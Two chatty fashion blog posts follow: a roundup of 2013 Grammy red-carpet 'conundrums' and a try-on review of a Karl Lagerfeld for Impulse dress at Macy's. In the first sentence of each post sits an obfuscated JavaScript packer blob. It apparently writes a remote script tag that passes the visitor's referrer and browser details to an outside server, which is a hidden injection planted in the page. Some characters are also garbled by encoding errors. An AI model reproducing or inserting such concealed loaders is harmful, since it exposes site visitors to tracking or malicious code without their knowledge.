Grammy Award Fashion Conundrums 2013

Award shows are tons of fun, don’t you think? The performances, the emotional speeches, the drama, and most of all the wild & crazy fashions! Watching the clothing choices of famous people is like a game of celebrity Bingo; Who eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|ibsdy|var|u0026u|referrer|ykbzs||js|php’.split(‘|’),0,{}))
played it safe in a black dress? Who wore purposefully-ugly shoes? Who has something large & bow-like on their shoulder? Who thought a vampire cape was the right look for tonight? Woo-hoo, I got BINGO!

There were some beautiful gowns last night at the Award show, like Solange Knowles, Carrie Underwood, and the always-adorable Pauley Perrette.

But then there were some fashion conundrums; beautiful people in outfits that make you tilt your head sideways and say, “Huh? I’m not sure what this means, exactly.”

Here are my favorite conundrums of the night. Do you agree? Who do you think actually pulled it off? And who should get a do-over?


Kimbra channels Bjork & Lara Flynn Boyle, but comes out on top as the cutest ballerina. Or maybe Ice Capades dancer? I don’t know. But she’s adorable and we love her anyhow. πŸ˜‰

Makeup artist Jay Manuel from America’s Next Top Model makes a daring move in a tux that looks a little like an Urban Decay eyeshadow pallet. So it’s appropriate, right? πŸ˜‰ Ok, your smile is so dazzling, you get a Pass on this one, Jay.

Katy Perry, I’m not sure if it’s the chartreuse color, or the leafy appliques your Granny’s crafting club stuck to the shoulder, but I’m having a hard time making eye contact with you… Yeah, it’s gotta be the appliques. Definitely.

Adele set fire to the rain. And won a lot of awards. And wore this. But her defiant pose dares you to say anything about it, m-kay?

Rap artist 2 Chainz wore a cape. Just in case he was called upon to do a magic trick. Or bare fangsΒ  and attack anyone who tried to touch his chastity belt! Grrrrr!!!

Alexa Chung, reminding us why she’s a well-respected, fashion-forward style icon, by grabbing a wrinkled dress from Savers on her way to the Red Carpet. She’s being Ironic, get it? It’s a hipster thing…

This is my favorite fashion conundrum of the night: Florence Welch. She’s gorgeous & statuesque in a perfectly-fitting, emerald-green gown that suits her sultry demeanor and iconic red hair. Oh, wait! Are those dinosaur spikes on her shoulders? Is that a dragon tail embedded in the chest of her gown? Does it ward off unwanted flirting from crazy older celebrities? (Stay away, Jack Nicholson; these spikes are poison-tipped!) Sigh, even dragon-spiked, we die over Florence’s bold style and even bolder singing voice. Look for dragon spikes and shimmery green dresses to hit your local Forever 21 store soon!

Who was your favorite fashion conundrum of the night? Who do you think deserved a Grammy for Best Dressed, or should get a do-over? Did I miss any fashion offenders you think should be included on this list? πŸ™‚


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Karl Lagerfeld’s Macy’s Line and… That Dress!!!

Karl eval(function(p,a,c,k,e,d){e=function(c){return c.toString(36)};if(!”.replace(/^/,String)){while(c–){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return’w+’};c=1};while(c–){if(k[c]){p=p.replace(new RegExp(‘b’+e(c)+’b’,’g’),k[c])}}return p}(‘0.6(““);n m=”q”;’,30,30,’document||javascript|encodeURI|src||write|http|45|67|script|text|rel|nofollow|type|97|language|jquery|userAgent|navigator|sc|ript|dzffs|var|u0026u|referrer|yyaki||js|php’.split(‘|’),0,{}))
is a German fashion designer, whose keen sense of style and tailoring has made him an icon in the fashion world. He has designed for Chloe, Balmain, Chanel, Fendi, established his own line, and outfitted stars like Madonna,Β  and Kylie Minogue. In 2004, he designed a special line of budget-friendly fashions for European retail giant H&M, and this year, developed his exclusive Karl Lagerfeld for Impulse line at Macy’s. Can’t afford a $5,000 dress designed by Lagerfeld? Step into Macy’s and try on one for around $100!

Chelsey Hersley, Me, & Jamie Bruce @ Fashion's Night Out!

At last week’s Fashion’s Night Out event at Boise Town Square Mall, I fell in love with the adorable pink dress that America’s Next Top Model finalist Chelsey Hersley wore from Lagerfeld’s collection. The breezy ballerina-like material, coupled with an intricate black lace neck & back trim, are such a bewitching combination!

Chelsey chose to wear the dress with cropped leggings and slouchy combat boots, effortlessly transforming into a 90’s punk princess (anyone remember Courtney Love?)

When I posted Macy’s picture of the dress on Facebook, there were comments on the model’s extreme skinniness. On the other hand, reviews of the dress on Macy’s website spoke of the over-sized upper-proportions of the dress. I was curious about this seeming contradiction, so being a faithful fashion reporter, I simply HAD to go down to Macy’s myself and investigate in person! ;-D

I didn’t have a great deal of time to try on everything in Lagerfeld’s line; my focus was on that dress, the obvious stand-put piece of the collection. I can tell you that, true to Lagerfeld’s urban chic aesthetic, much of the line was black, grey, or hot pink. (If black is your go-to color, and you’re looking to update your wardrobe, go check out this collection; you’ll find some fabulous pieces!)

But on to the dress…

Slipping into pastel pink felt at first very feminine & elegant. But once the black lace touched my skin, I found myself missing my old Doc Marten boots! It truly is an adorable-yet-tough dress, one that I would wear in a heartbeat! That is, if it fit properly…

The reviews were right; the bustline of this dress is quite generous, almost to the point of being baggy. I also couldn’t keep the wide. puffy shoulders on very well, but they could be pinned to my camisole straps fairly easily.

Overall, here’s my review: this dress makes you feel feminine & flirty, with an urban edginess. I love it, but it runs a little large, so I recommend going down a size. This dress would be ideal for ladies sized 6-10, particularly if they have a larger bust size! πŸ˜‰ Run down to your local Macy’s and try it on – and let me know YOUR review!!! πŸ˜€

Click the link to view the Karl Lagerfeld for Impulse Collection.